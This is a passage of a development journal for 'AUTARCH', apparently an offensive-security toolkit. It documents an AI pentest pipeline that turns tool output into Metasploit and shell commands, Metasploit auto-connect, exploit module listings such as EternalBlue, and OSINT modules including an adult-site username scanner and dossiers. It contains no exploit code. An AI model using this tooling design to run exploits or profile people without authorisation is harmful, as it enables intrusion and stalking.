CREDENTIAL_ACCESS, PERSISTENCE, CUSTOM +- `PTTNode` dataclass with id, label, type, status, parent/children, details, tool_output, findings, priority +- `PentestTree` class: + - Tree operations: add_node(), update_node(), delete_node() + - Queries: get_next_todo() (highest priority TODO), get_all_by_status(), find_node_by_label() + - `render_text()` - full tree for terminal display + - `render_summary()` - compact format for LLM context injection (critical for 4096 token window, shows only TODO/IN_PROGRESS nodes and last 5 findings) + - `initialize_standard_branches()` - creates MITRE ATT&CK-aligned top-level categories + - Serialization: to_dict() / from_dict() + +#### core/pentest_session.py - Session Management + +Save/resume pentest sessions with full state persistence. + +- `PentestSessionState` enum: IDLE, RUNNING, PAUSED, COMPLETED, ERROR +- `SessionEvent` dataclass for timeline logging +- `PentestSession` class: + - Lifecycle: start(), pause(), resume(), complete(), set_error() + - Persistence: save(), load_session(), list_sessions(), delete() + - Logging: log_event(), log_pipeline_result(), add_finding() + - export_report() - text summary report generation + - JSON files stored in `data/pentest_sessions/` + +#### core/pentest_pipeline.py - Three-Module Pipeline + +Implements PentestGPT's core architecture using AUTARCH's LLM.chat(). + +- `SOURCE_PATTERNS` - regex auto-detection for tool output type (nmap, msf_scan, msf_exploit, web, shell, gobuster, nikto) +- **ParsingModule** - normalizes raw tool output into structured SUMMARY/FINDINGS/STATUS + - Auto-detects source type via regex + - Chunks output >2000 chars + - Fresh clear_history() + chat() per call, temperature=0.2 + - Extracts [VULN] and [CRED] prefixed findings +- **ReasoningModule** - decides tree updates and selects next task + - Injects PTT render_summary() + parsed findings + - Produces TREE_UPDATES (ADD/COMPLETE/NOT_APPLICABLE) + NEXT_TASK + REASONING + - `_apply_updates()` resolves node IDs by label if exact ID not found + - Temperature=0.3 +- **GenerationModule** - converts abstract task into concrete commands + - Maps to AUTARCH tool names (msf_execute, msf_search, shell, etc.) + - Produces COMMANDS (TOOL/ARGS/EXPECT format) + FALLBACK + - Fallback detection for bare shell/MSF console commands + - Temperature=0.2 +- **PentestPipeline** - orchestrates all three modules + - process_output() - full parse->reason->generate flow + - get_initial_plan() - generates first tasks for new session + - inject_information() - incorporate external research + - discuss() - ad-hoc LLM questions without affecting tree + +### Modified Files + +#### core/config.py + +Added `[pentest]` section to DEFAULT_CONFIG: +``` +max_pipeline_steps = 50 +output_chunk_size = 2000 +auto_execute = false +save_raw_output = true +``` +Added `get_pentest_settings()` method. + +#### modules/agent_hal.py (v1.0 -> v2.0) + +Major expansion adding Pentest Pipeline as [3] under Offense. + +**New menu item:** +``` + Offense + [2] MSF Automation (AI) + [3] Pentest Pipeline (AI) <- NEW +``` + +**Pentest Pipeline Submenu:** +``` + [1] New Session + [2] Resume Session + [3] List Sessions + [4] Delete Session + [5] Show Session Tree +``` + +**Interactive Loop Commands:** +- `next` - paste tool output, runs full pipeline (parse->reason->generate) +- `exec` - auto-execute next action via MSF/shell with per-command Y/n/skip confirmation +- `discuss` - ad-hoc LLM question (doesn't affect tree) +- `google` - inject external research into pipeline +- `tree` - display current PTT +- `status` - session stats and recent findings +- `pause` - save and return to menu +- `done` - complete session and generate report + +**New methods:** +- pentest_pipeline_menu() +- _start_new_pentest_session(), _resume_pentest_session() +- _list_pentest_sessions(), _delete_pentest_session() +- _pentest_interactive_loop() +- _handle_next(), _handle_exec(), _handle_discuss(), _handle_google() +- _handle_status(), _handle_done() +- _execute_pipeline_action() - bridges pipeline output to shell/ToolRegistry + +### Pipeline Data Flow + +``` +User pastes tool output (or exec returns output) + -> ParsingModule: auto-detect source, chunk, LLM extracts SUMMARY/FINDINGS/STATUS + -> ReasoningModule: inject PTT summary + findings, LLM returns TREE_UPDATES + NEXT_TASK + -> GenerationModule: NEXT_TASK + target + tools -> LLM returns COMMANDS + FALLBACK + -> Display to user / auto-execute with confirmation + -> Session auto-saved after each cycle +``` + +### Verification + +All imports and basic tests passed: +- pentest_tree: PTT initializes with 6 MITRE ATT&CK branches, serialization round-trip OK +- pentest_session: Session lifecycle and JSON persistence OK +- pentest_pipeline: All three modules instantiate correctly +- config: pentest settings load with correct types and defaults +- agent_hal: Menu renders with new [3] Pentest Pipeline option + +--- + +## Current Project Structure + +``` +dh_framework/ +├── autarch.py # Main entry point with CLI +├── autarch_settings.conf # Configuration file +├── DEVLOG.md # Detailed development log +├── devjournal.md # This file +├── GUIDE.md # User guide +├── system.inf # System audit results +├── custom_adultsites.json # Custom adult sites +├── custom_sites.inf # Bulk import file +├── custom_apis.json # Custom API configurations +│ +├── core/ +│ ├── __init__.py +│ ├── agent.py # Autonomous agent loop +│ ├── banner.py # ASCII banner +│ ├── config.py # Configuration handler +│ ├── cve.py # CVE database (NVD API + SQLite) +│ ├── llm.py # LLM wrapper (llama-cpp-python) +│ ├── menu.py # Main menu system +│ ├── msf.py # Metasploit RPC client +│ ├── pentest_pipeline.py # PentestGPT three-module pipeline [NEW] +│ ├── pentest_session.py # Pentest session management [NEW] +│ ├── pentest_tree.py # Penetration Testing Tree [NEW] +│ ├── report_generator.py # HTML report generator +│ ├── sites_db.py # OSINT sites SQLite database +│ └── tools.py # Tool registry +│ +├── modules/ +│ ├── __init__.py +│ ├── adultscan.py # Adult site username scanner (osint) +│ ├── agent.py # Agent task interface (core) +│ ├── agent_hal.py # Agent Hal - AI automation (core) [UPDATED v2.0] +│ ├── analyze.py # File forensics (analyze) +│ ├── chat.py # LLM chat interface (core) +│ ├── counter.py # Threat detection (counter) +│ ├── defender.py # System hardening (defense) +│ ├── dossier.py # OSINT investigation manager (osint) +│ ├── geoip.py # GEO IP lookup (osint) +│ ├── msf.py # MSF interface (offense) +│ ├── mysystem.py # System audit with CVE (defense) +│ ├── nettest.py # Network testing (utility) +│ ├── recon.py # OSINT reconnaissance (osint) +│ ├── setup.py # First-run setup wizard +│ ├── simulate.py # Attack simulation (simulate) +│ ├── snoop_decoder.py # Snoop database decoder (osint) +│ └── yandex_osint.py # Yandex OSINT (osint) +│ +├── data/ +│ ├── cve/ +│ │ └── cve.db # SQLite CVE database +│ ├── pentest_sessions/ # Pentest session JSON files [NEW] +│ └── sites/ +│ ├── sites.db # OSINT sites database (7,287 sites) +│ └── snoop_full.json # Decoded Snoop database +│ +├── dossiers/ # Dossier JSON files +│ +└── results/ + └── reports/ # HTML reports and pentest reports +``` + +## Capability Summary + +| Category | Modules | Key Features | +|----------|---------|--------------| +| Defense | defender, mysystem | System audit, CVE detection, auto-fix, security scoring | +| Offense | msf, agent_hal | MSF automation, pentest pipeline (AI), MITM detection | +| Counter | counter | Threat scan, rootkit detection, anomaly detection | +| Analyze | analyze | File forensics, hashes, strings, log analysis | +| OSINT | recon, adultscan, dossier, geoip, yandex_osint, snoop_decoder | Username scan (7K+ sites), dossier management, GEO IP, Yandex | +| Simulate | simulate | Port scan, password audit, payload generation | +| Core | agent, chat, agent_hal | Autonomous agent, LLM chat, AI-powered automation | +| Utility | nettest | Network speed and connectivity testing | + +## Technology Stack + +- **Language**: Python 3 +- **LLM**: llama-cpp-python (local GGUF models), HuggingFace transformers (SafeTensors), Claude API +- **Databases**: SQLite (CVEs, sites), JSON (sessions, dossiers, configs) +- **Integrations**: Metasploit RPC (msgpack), NVD API v2.0, social-analyzer +- **OSINT Sources**: maigret, snoop, sherlock, blackbird, reveal-my-name, whatsmyname, detectdee, nexfil, cupidcr4wl, custom + +--- + +## Session 7 - 2026-01-28: SafeTensors Model Support + +### Overview + +Added support for HuggingFace SafeTensors models alongside existing GGUF models. AUTARCH now supports three LLM backends: +1. **llama.cpp** - GGUF models (CPU-optimized, single file) +2. **transformers** - SafeTensors models (GPU-optimized, HuggingFace format) +3. **Claude API** - Anthropic's cloud API + +### New Files + +None - all changes were modifications to existing files. + +### Modified Files + +#### core/config.py +- Added `[transformers]` section to DEFAULT_CONFIG with settings: + - `model_path`, `device`, `torch_dtype` + - `load_in_8bit`, `load_in_4bit` (quantization options) + - `trust_remote_code` + - `max_tokens`, `temperature`, `top_p`, `top_k`, `repetition_penalty` +- Added `get_transformers_settings()` method + +#### core/llm.py +- Added `TransformersLLM` class implementing same interface as `LLM`: + - Uses HuggingFace `AutoModelForCausalLM` and `AutoTokenizer` + - Supports automatic device detection (cuda/mps/cpu) + - Supports 8-bit and 4-bit quantization via bitsandbytes + - Supports streaming via `TextIteratorStreamer` + - Uses tokenizer's `apply_chat_template` when available, falls back to ChatML + - `_is_valid_model_dir()` validates SafeTensors directories +- Added `detect_model_type()` function to auto-detect model format: + - Returns 'gguf' for GGUF files + - Returns 'transformers' for SafeTensors directories + - Returns 'unknown' for unrecognized formats +- Updated `get_llm()` to support 'transformers' backend + +#### modules/setup.py +- Updated docstring to reflect multi-format support +- Rewrote `validate_model_path()` to return `(is_valid, model_type)` tuple +- Updated model path prompt to explain both formats +- Auto-detects model type and sets appropriate backend +- Added backend-specific configuration: + - GGUF: Context size, threads, GPU layers + - SafeTensors: Device selection, quantization options +- Updated summary display to show backend-specific settings + +#### core/menu.py +- Updated `get_status_line()` to show model backend type +- Updated `show_llm_settings()` to display backend-specific settings +- Updated `_set_llm_model_path()` to auto-detect and switch backends +- Updated `_load_llm_model()` to handle both backends +- Added `_set_transformers_device()` for device configuration +- Added `_set_transformers_quantization()` for 8-bit/4-bit options +- Added `_switch_llm_backend()` to manually switch backends +- Updated `_set_llm_temperature()`, `_set_llm_sampling()`, `_set_llm_repeat_penalty()`, `_set_llm_max_tokens()` to work with both backends + +### Configuration Format + +New `autarch_settings.conf` section: +```ini +[transformers] +model_path = /path/to/model/directory +device = auto +torch_dtype = auto +load_in_8bit = false +load_in_4bit = false +trust_remote_code = false +max_tokens = 2048 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 +``` + +### Usage + +**Setup Wizard:** +``` +Model path: /home/user/models/Lily-Cybersecurity-7B +SafeTensors model found: Lily-Cybersecurity-7B + +Device Configuration (transformers) +Device [auto]: cuda +Quantization option [1]: 3 # 4-bit +``` + +**Settings Menu:** +- LLM Settings now shows backend-specific options +- [S] Switch Backend option to change between llama.cpp/transformers/Claude + +### Dependencies + +For SafeTensors support, users need: +```bash +pip install transformers torch +# Optional for quantization: +pip install bitsandbytes accelerate +``` + +### Notes + +- Model type is auto-detected when path is provided +- Backend switches automatically when model path changes +- Quantization requires bitsandbytes package +- Device 'auto' uses CUDA if available, then MPS, then CPU +- SafeTensors models should be complete HuggingFace model directories with config.json + +--- + +## Session 7b - 2026-01-28: Hardware Configuration Templates + +### Overview + +Added hardware-specific configuration templates and custom config save/load functionality to make LLM setup easier for different hardware configurations. + +### New Files + +#### .config/nvidia_4070_mobile.conf +Hardware template for NVIDIA GeForce RTX 4070 Mobile (8GB VRAM) +- n_gpu_layers = -1 (full GPU offload) +- n_ctx = 8192 +- float16 dtype +- Suitable for 7B-13B models + +#### .config/amd_rx6700xt.conf +Hardware template for AMD Radeon RX 6700 XT (12GB VRAM) +- Requires ROCm drivers and PyTorch ROCm build +- llama.cpp requires HIP/CLBlast build +- n_ctx = 8192 +- Suitable for 7B-13B models at float16 + +#### .config/orangepi5plus_cpu.conf +Hardware template for Orange Pi 5 Plus (RK3588 SoC, CPU-only) +- n_threads = 4 (uses fast A76 cores only) +- n_gpu_layers = 0 +- n_ctx = 2048 (conservative for RAM) +- Best with Q4_K_M quantized GGUF models + +#### .config/orangepi5plus_mali.conf +**EXPERIMENTAL** template for Orange Pi 5 Plus with Mali-G610 GPU +- Attempts OpenCL acceleration via CLBlast +- n_gpu_layers = 8 (partial offload) +- Instructions for building llama.cpp with CLBlast +- May provide 20-30% speedup, but unstable + +### Modified Files + +#### core/config.py +- Added `get_templates_dir()` - returns `.config` directory path +- Added `get_custom_configs_dir()` - returns `.config/custom` directory path +- Added `list_hardware_templates()` - lists available hardware templates +- Added `list_custom_configs()` - lists user-saved custom configs +- Added `load_template(template_id)` - loads a hardware template +- Added `load_custom_config(filepath)` - loads a custom config file +- Added `_load_llm_settings_from_file()` - internal method to load llama/transformers sections +- Added `save_custom_config(name)` - saves current LLM settings to custom config +- Added `delete_custom_config(filepath)` - deletes a custom config file + +#### core/menu.py +- Added `[T] Load Hardware Template` option in LLM Settings +- Added `[C] Load Custom Config` option in LLM Settings +- Added `[W] Save Current as Custom Config` option in LLM Settings +- Added `_load_hardware_template()` - UI for selecting hardware templates +- Added `_load_custom_config()` - UI for loading custom configs +- Added `_delete_custom_config()` - UI for deleting custom configs +- Added `_save_custom_config()` - UI for saving current settings + +### Directory Structure + +``` +.config/ +├── nvidia_4070_mobile.conf # NVIDIA RTX 4070 Mobile template +├── amd_rx6700xt.conf # AMD RX 6700 XT template +├── orangepi5plus_cpu.conf # Orange Pi 5 Plus CPU template +├── orangepi5plus_mali.conf # Orange Pi 5 Plus Mali (experimental) +└── custom/ # User-saved custom configurations + └── *.conf # Custom config files +``` + +### Usage + +**Loading a Hardware Template:** +``` +LLM Settings > [T] Load Hardware Template + +Hardware Configuration Templates +Select a template optimized for your hardware + +[1] NVIDIA RTX 4070 Mobile + 8GB VRAM, CUDA, optimal for 7B-13B models +[2] AMD Radeon RX 6700 XT + 12GB VRAM, ROCm, optimal for 7B-13B models +[3] Orange Pi 5 Plus (CPU) + RK3588 ARM64, CPU-only, for quantized models +[4] Orange Pi 5 Plus (Mali GPU) + EXPERIMENTAL - Mali-G610 OpenCL acceleration + +Select template: 1 +[+] Loaded template: NVIDIA RTX 4070 Mobile + Note: Model path preserved from current config +``` + +**Saving Custom Configuration:** +``` +LLM Settings > [W] Save Current as Custom Config + +Save Custom Configuration +Save your current LLM settings for later use + +Configuration name: My Gaming PC Settings +[+] Saved to: my_gaming_pc_settings.conf + Full path: /home/snake/dh_framework/.config/custom/my_gaming_pc_settings.conf +``` + +**Loading Custom Configuration:** +``` +LLM Settings > [C] Load Custom Config + +Custom Configurations + +[1] My Gaming Pc Settings + my_gaming_pc_settings.conf + +[D] Delete a custom config +[0] Cancel + +Select config: 1 +[+] Loaded config: My Gaming Pc Settings +``` + +### Template Details + +| Template | GPU Layers | Context | Threads | Quantization | Target | +|----------|-----------|---------|---------|--------------|--------| +| NVIDIA 4070 Mobile | -1 (all) | 8192 | 8 | None/4-bit | 7B-13B | +| AMD RX 6700 XT | -1 (all) | 8192 | 8 | None/4-bit | 7B-13B | +| Orange Pi CPU | 0 | 2048 | 4 | Q4_K_M recommended | 7B Q4 | +| Orange Pi Mali | 8 | 2048 | 4 | 4-bit | 7B Q4 | + +### Notes + +- Templates preserve the current model path when loaded +- Custom configs are stored in `.config/custom/` directory +- Experimental templates show a warning before loading +- The Orange Pi Mali template requires additional setup (CLBlast, OpenCL drivers) +- AMD GPU support requires ROCm drivers and specially compiled PyTorch/llama.cpp + +### Testing Notes + +**Setup Wizard Test Run:** +- Successfully displays banner and welcome message +- Model format options (GGUF/SafeTensors) clearly explained +- Shows current configured model path as default +- Auto-detection of model type works when path is accessible + +**Known Issue Found:** +- `PermissionError` when model path points to external drive that's not mounted or inaccessible +- The `validate_model_path()` function should handle permission errors gracefully +- Current behavior: crashes with traceback +- Suggested fix: wrap `path.exists()` in try/except for PermissionError + +**Bug Location:** `modules/setup.py:119` - `validate_model_path()` method - **FIXED** + +```python +# Fix applied - now handles permission errors gracefully: +try: + if not path.exists(): + return False, None +except (PermissionError, OSError): + return False, None +``` + +### Files Modified This Session + +| File | Changes | +|------|---------| +| `core/config.py` | Added transformers section, template/custom config methods | +| `core/llm.py` | Added TransformersLLM class, detect_model_type() | +| `core/menu.py` | Updated LLM settings UI, added template/config options | +| `modules/setup.py` | Added SafeTensors support, auto-detection | +| `.config/*.conf` | Created 4 hardware templates | +| `devjournal.md` | Documented all changes | + +### Additional Fixes Applied + +**Path Resolution Enhancement:** +Added `resolve_model_path()` method to both `setup.py` and `menu.py` to handle various path formats: +- `/dh_framework/models/...` - common user mistake (missing /home/user) +- `models/ModelName` - relative to framework directory +- `ModelName` - just the model name (looks in models/ subdir) +- Full absolute paths + +This makes model path entry more forgiving and user-friendly. + +**Files Updated:** +- `modules/setup.py` - Added `resolve_model_path()` method +- `core/menu.py` - Added `_resolve_model_path()` method + +### Git-LFS Model Files Note + +The Lily-Cybersecurity-7B-v0.2 model in `models/` contains git-lfs pointer files, not actual model weights. Each `.safetensors` file is 135 bytes (pointer) instead of ~5GB (actual weights). + +**Error when loading:** +``` +Error while deserializing header: header too large +``` + +**Solution:** +```bash +cd models/Lily-Cybersecurity-7B-v0.2 +git lfs pull +``` + +This will download the actual model files (~27GB total). + +### Deprecation Warning + +``` +`torch_dtype` is deprecated! Use `dtype` instead! +``` + +This is a minor warning from newer transformers versions. The code still works correctly. + +### HuggingFace Model ID Support + +Added support for loading models by HuggingFace ID (e.g., `segolilylabs/Lily-Cybersecurity-7B-v0.2`) which loads from the HuggingFace cache (`~/.cache/huggingface/hub/`). + +**Files Updated:** +- `core/llm.py` - TransformersLLM.load_model() now accepts HuggingFace model IDs +- `core/menu.py` - Added `_is_huggingface_id()` method, updated model path setting +- `modules/setup.py` - Added `_is_huggingface_id()` method, updated setup wizard + +**Usage:** +``` +Model path: segolilylabs/Lily-Cybersecurity-7B-v0.2 +[+] HuggingFace model ID set: segolilylabs/Lily-Cybersecurity-7B-v0.2 + Model will be loaded from HuggingFace cache +``` + +### GGUF Tokenizer/Config Auto-Detection + +Added automatic detection of tokenizer and config files when loading GGUF models. The loader now: +1. Searches for metadata files in the GGUF directory: + - `tokenizer.json` - Full tokenizer definition + - `tokenizer_config.json` - Tokenizer configuration and chat template + - `special_tokens_map.json` - BOS, EOS, PAD, UNK token mappings + - `config.json` - Model architecture config +2. If not found and GGUF is in a subdirectory like `guff/` or `gguf/`, checks parent directory +3. Detects chat format from tokenizer_config.json (chatml, llama-2, mistral-instruct, etc.) +4. Loads special tokens (bos_token, eos_token, pad_token, unk_token) for proper formatting +5. Passes detected chat_format to llama-cpp-python + +**Files Updated:** +- `core/llm.py` - Added `_detect_chat_format()` method to LLM class +- LLM class now stores `_special_tokens`, `_chat_format`, `_metadata_dir` + +**Supported Chat Formats:** +- `chatml` - ChatML format (Qwen, etc.) +- `llama-2` - Llama 2 format with [INST] tags +- `mistral-instruct` - Mistral instruction format +- `vicuna` - Vicuna format +- `alpaca` - Alpaca format +- `zephyr` - Zephyr format + +**Special Tokens Loaded:** +- `bos_token` - Beginning of sequence (e.g., ``) +- `eos_token` - End of sequence (e.g., ``) +- `pad_token` - Padding token +- `unk_token` - Unknown token (e.g., ``) + +**Example Output:** +``` +[*] Loading model: model.Q4_K_M.gguf + Context: 4096 | Threads: 4 | GPU Layers: 0 + Found model metadata in: Lily-Cybersecurity-7B-v0.2/ + Files: tokenizer.json, tokenizer_config.json, special_tokens_map.json, config.json + Special tokens: bos_token=, eos_token=, pad_token=, unk_token= + Chat format: llama-2 +[+] Model loaded successfully +``` + +### Next Steps + +1. ~~Fix PermissionError handling in `validate_model_path()`~~ DONE +2. ~~Fix path resolution for relative/partial paths~~ DONE +3. ~~Add HuggingFace model ID support~~ DONE +4. ~~Add GGUF tokenizer/config auto-detection~~ DONE +5. Test hardware template loading via Settings menu +6. Test custom config save/load functionality +7. Download actual model files via `git lfs pull` +8. Verify SafeTensors model loading with actual model files +9. Test on Orange Pi 5 Plus hardware + +--- + +## Session 8 - 2026-01-29: Metasploit Auto-Connect + +### Overview + +Added automatic Metasploit RPC server management on application startup. When AUTARCH starts, it now handles msfrpcd server lifecycle automatically. + +### New Features + +#### MSF Auto-Connect Flow + +On startup, AUTARCH will: +1. **Scan** for existing msfrpcd server (socket + process detection) +2. **If found**: Kill the existing server, prompt for new credentials +3. **If not found**: Prompt for username/password +4. **Start** msfrpcd with the provided credentials +5. **Connect** to the new server + +#### Command Line Options + +```bash +# Skip autoconnect entirely +python autarch.py --no-msf + +# Quick connect with credentials (non-interactive) +python autarch.py --msf-user msf --msf-pass secret +``` + +### Modified Files + +#### core/msf.py + +Added new imports: `socket`, `subprocess`, `time`, `os`, `signal` + +**New MSFManager methods:** +- `detect_server() -> Tuple[bool, Optional[str]]` - Detect running msfrpcd via socket probe and process scan +- `_find_msfrpcd_pid() -> Optional[str]` - Find PID using pgrep or /proc scan +- `kill_server() -> bool` - Gracefully terminate msfrpcd (SIGTERM, then SIGKILL) +- `start_server(username, password, host, port, use_ssl) -> bool` - Launch msfrpcd and wait for port availability +- `autoconnect() -> bool` - Full interactive autoconnect flow with prompts +- `set_autoconnect(enabled: bool)` - Toggle autoconnect in config + +**Updated methods:** +- `get_settings()` - Now includes `autoconnect` setting + +**New standalone functions:** +- `msf_startup_autoconnect(skip_if_disabled)` - Entry point for startup autoconnect +- `msf_quick_connect(username, password, ...)` - Non-interactive server setup + +#### autarch.py + +**New command line arguments:** +- `--no-msf` - Skip Metasploit autoconnect on startup +- `--msf-user USER` - MSF RPC username for quick connect +- `--msf-pass PASS` - MSF RPC password for quick connect + +**New function:** +- `msf_autoconnect(skip, username, password)` - Wrapper for MSF startup + +**Modified:** +- `main()` - Now calls `msf_autoconnect()` after first-run check + +**Updated epilog** with MSF autoconnect documentation. + +#### core/menu.py + +**Updated `show_msf_settings()`:** +- Shows server status (Running/Not Running with PID) +- Shows client connection status separately +- Shows autoconnect setting status +- New menu options: + - `[4] Start Server` - Manually start msfrpcd + - `[5] Stop Server` - Manually stop msfrpcd + - `[6] Toggle Autoconnect` - Enable/disable autoconnect on startup + +### Configuration + +New setting in `autarch_settings.conf`: +```ini +[msf] +autoconnect = true +``` + +### Usage Examples + +**Interactive startup (default):** +``` +[*] Metasploit Auto-Connect + ────────────────────────────────────────── + + Scanning for existing MSF RPC server... + No existing server detected + + Configure MSF RPC Credentials + These credentials will be used for the new server + + Username [msf]: + Password (required): secret + Host [127.0.0.1]: + Port [55553]: + Use SSL (y/n) [y]: + + Starting msfrpcd server... + [+] Server started on 127.0.0.1:55553 + Connecting to server... + [+] Connected to Metasploit 6.x.x +``` + +**With existing server:** +``` + Scanning for existing MSF RPC server... + [!] Found existing msfrpcd server (PID: 12345) + Stopping existing server... + [+] Server stopped + + Configure MSF RPC Credentials + ... +``` + +**Quick connect (scripting):** +```bash +python autarch.py --msf-user msf --msf-pass mypassword +``` + +### Technical Notes + +- Server detection uses both socket probe (port check) and process scan (pgrep + /proc) +- Process termination uses SIGTERM first, falls back to SIGKILL after 1 second +- Server startup waits up to 30 seconds for port to become available +- SSL is enabled by default for msfrpcd connections +- Autoconnect can be disabled via settings menu or `--no-msf` flag + +### Dependencies + +- `msgpack` - Required for MSF RPC communication +- `msfrpcd` - Part of Metasploit Framework installation + +### Bug Fix: msgpack Bytes vs Strings + +**Issue:** Authentication was failing with "Authentication failed" even with correct credentials. + +**Root Cause:** The `msgpack.unpackb()` function returns byte keys/values (e.g., `b'result'`) but the code was comparing against string keys (`"result"`). + +**Fix:** Added normalization in `MetasploitRPC._request()` to decode byte keys/values to strings: +```python +result = msgpack.unpackb(response_data, raw=False, strict_map_key=False) +if isinstance(result, dict): + result = { + (k.decode() if isinstance(k, bytes) else k): (v.decode() if isinstance(v, bytes) else v) + for k, v in result.items() + } +``` + +**Also improved:** +- Increased RPC initialization wait time from 2s to 5s +- Increased auth verification retries from 5 to 10 +- Added helpful error message when auth fails suggesting to restart server + +--- + +## Session 9 - 2026-02-03: MSF Module Search Fix + +### Overview + +Fixed critical bug where Metasploit modules were not appearing in searches or the Offense menu. The issue was caused by incomplete bytes-to-string decoding in the MSF RPC response handling. + +### Root Cause + +The `msgpack.unpackb()` function returns data with bytes keys/values. The previous fix only decoded the top-level dict, but MSF module searches return a **list of dicts**, where each inner dict still had bytes keys (e.g., `b'fullname'`, `b'type'`). This caused `dict.get('fullname')` to return `None` because the actual key was `b'fullname'`. + +### Fixes Applied + +#### 1. core/msf.py - Recursive Bytes Decoding + +Added `_decode_bytes()` method that recursively decodes bytes throughout the entire response structure: + +```python +def _decode_bytes(self, obj): + if isinstance(obj, bytes): + return obj.decode('utf-8', errors='replace') + elif isinstance(obj, dict): + return {self._decode_bytes(k): self._decode_bytes(v) for k, v in obj.items()} + elif isinstance(obj, list): + return [self._decode_bytes(item) for item in obj] + elif isinstance(obj, tuple): + return tuple(self._decode_bytes(item) for item in obj) + else: + return obj +``` + +#### 2. core/msf.py - Fixed list_modules() API Method + +The `list_modules()` method was calling `module.list` which doesn't exist. Changed to use correct MSF RPC API methods: + +```python +type_to_method = { + "exploit": "module.exploits", + "auxiliary": "module.auxiliary", + "post": "module.post", + "payload": "module.payloads", + "encoder": "module.encoders", + "nop": "module.nops", +} +``` + +#### 3. modules/agent_hal.py - Use Centralized Interface + +Agent Hal was bypassing `msf_interface.py` and creating its own `MetasploitRPC` instance. Updated to use `get_msf_interface()` so all MSF operations go through the centralized interface: + +```python +def _ensure_msf_connected(self) -> bool: + if self.msf is None: + from core.msf_interface import get_msf_interface + self.msf = get_msf_interface() + connected, msg = self.msf.ensure_connected(auto_prompt=False) + ... +``` + +Also updated `_execute_msf_module()` and `quick_scan_target()` to use `run_module()` instead of the non-existent `execute_module()`. + +### Files Modified + +| File | Changes | +|------|---------| +| core/msf.py | Added `_decode_bytes()`, fixed `list_modules()` API calls | +| modules/agent_hal.py | Switched to `get_msf_interface()`, updated method calls | + +### Verification + +``` +=== MSF Interface Test === +Search (eternalblue): 5 results + - auxiliary/admin/smb/ms17_010_command + - auxiliary/scanner/smb/smb_ms17_010 + - exploit/windows/smb/ms17_010_eternalblue + - exploit/windows/smb/ms17_010_psexec + - exploit/windows/smb/smb_doublepulsar_rce + +List exploits: 2604 modules +Module info: SMB Version Detection ✓ +``` + +### Architecture Note + +All MSF operations now flow through `core/msf_interface.py`: +- `modules/msf.py` → uses `get_msf_interface()` +- `modules/agent_hal.py` → uses `get_msf_interface()` +- `modules/counter.py` → uses `get_msf_interface()` + +This ensures any future fixes apply everywhere automatically. + +--- + +## Session 10 - 2026-02-03: Offense Menu Overhaul + +### Overview + +Major overhaul of the MSF/Offense menu interface. Built foundation libraries for MSF option descriptions and module metadata, then completely rewrote the offense menu with improved UX. + +### Phase 1a: MSF Settings Term Bank + +Created `core/msf_terms.py` - centralized definitions for all MSF options. + +**Features:** +- 54 MSF settings with full descriptions, examples, and notes +- 14 categories: target, local, auth, payload, connection, scan, session, database, output, smb, http, ssh, execution, file +- Validation functions for settings (IP validation, port validation, etc.) +- Prompt generation with defaults and help text + +**API Functions:** +```python +from core.msf_terms import get_setting_info, get_setting_prompt, format_setting_help, validate_setting_value + +info = get_setting_info('RHOSTS') # Full setting metadata +prompt = get_setting_prompt('LPORT', default=4444) # Input prompt with default +help_text = format_setting_help('PAYLOAD') # Formatted help block +valid, msg = validate_setting_value('RHOSTS', '192.168.1.1') # Validation +``` + +**Sample Settings:** +- RHOSTS, RHOST, RPORT, LHOST, LPORT, TARGETURI +- SMBUser, SMBPass, SMBDomain, HttpUsername, HttpPassword +- PAYLOAD, ENCODER, SESSION, DATABASE, OUTPUT + +### Phase 1b: MSF Module Library + +Created `core/msf_modules.py` - descriptions and metadata for common MSF modules. + +**Features:** +- 45 modules documented: 25 scanners, 12 exploits, 4 post, 4 payloads +- Full metadata: name, description, author, CVE, platforms, arch, reliability +- Searchable by name, tags, type, platform +- Formatted help output for display + +**API Functions:** +```python +from core.msf_modules import get_module_info, search_modules, get_modules_by_type, format_module_help + +info = get_module_info('auxiliary/scanner/smb/smb_version') +results = search_modules('eternalblue') +scanners = get_modules_by_type('auxiliary') +help_text = format_module_help('exploit/windows/smb/ms17_010_eternalblue') +``` + +**Module Categories:** +- SMB scanners (smb_version, smb_enumshares, smb_ms17_010, etc.) +- SSH scanners (ssh_version, ssh_login) +- HTTP scanners (http_version, dir_scanner, etc.) +- FTP scanners and exploits +- Windows exploits (EternalBlue, BlueKeep, etc.) +- Post-exploitation modules +- Payload generators + +### Phase 2: Offense Menu Rewrite + +Completely rewrote `modules/msf.py` (v1.1 → v2.0) with new features: + +**1. Global Target Settings** +- Pre-configure RHOSTS, LHOST, LPORT before browsing modules +- Settings persist across module selections +- Auto-filled when selecting modules +- Domain-to-IP resolution with confirmation +- Auto-detect LHOST from network interface + +**2. Module Browser** +- Category-based navigation (Scanners, Exploits, Post, Payloads, Auxiliary) +- Pagination with 20 modules per page +- Two-column display for compact viewing +- Combines library modules + live MSF modules when connected + +**3. Enhanced Module Details** +- Rich descriptions from module library +- CVE information, author, reliability rating +- Usage notes and warnings +- Option to fetch live info from MSF + +**4. Streamlined Workflow** +``` +Set Target [1] → Browse/Search [2/3] → Select Module → Configure → Run +``` + +**5. Quick Scan Improvements** +- Shows current target from global settings +- Uses pre-configured target automatically + +### New Menu Structure + +``` +Metasploit Framework +────────────────────────────────── + Status: Connected + Target: 192.168.1.100 + LHOST: 192.168.1.50 + Module: auxiliary/scanner/smb/smb_version + + [1] Set Target - Configure target & listener settings + [2] Module Browser - Browse modules by category + [3] Search Modules - Search all modules + + [4] Current Module - View/configure selected module + [5] Run Module - Execute current module + + [6] Sessions - View and interact with sessions + [7] Jobs - View running background jobs + + [8] MSF Console - Direct console access + [9] Quick Scan - Common scanners + + [0] Back to Main Menu +``` + +### Target Configuration Screen + +``` +Target Configuration + Set target and listener options before selecting modules +────────────────────────────────── + + [1] RHOSTS = 192.168.1.100 + The target host(s) to scan or exploit. Can be a single IP... + + [2] LHOST = (not set) + Your IP address that the target will connect back to... + + [3] LPORT = 4444 + The port your machine listens on for incoming connections... + + [A] Auto-detect LHOST + [R] Resolve hostname to IP + + [0] Back +``` + +### Module Browser + +``` +Scanners + Page 1 of 2 (25 modules) +────────────────────────────────── + + [ 1] SMB Version Scanner [ 2] SMB Share Enumeration + [ 3] SMB User Enumeration [ 4] MS17-010 Vulnerability... + [ 5] TCP Port Scanner [ 6] SSH Version Scanner + ... + + [N] Next page [P] Previous [0] Back +``` + +### Files Created/Modified + +| File | Action | 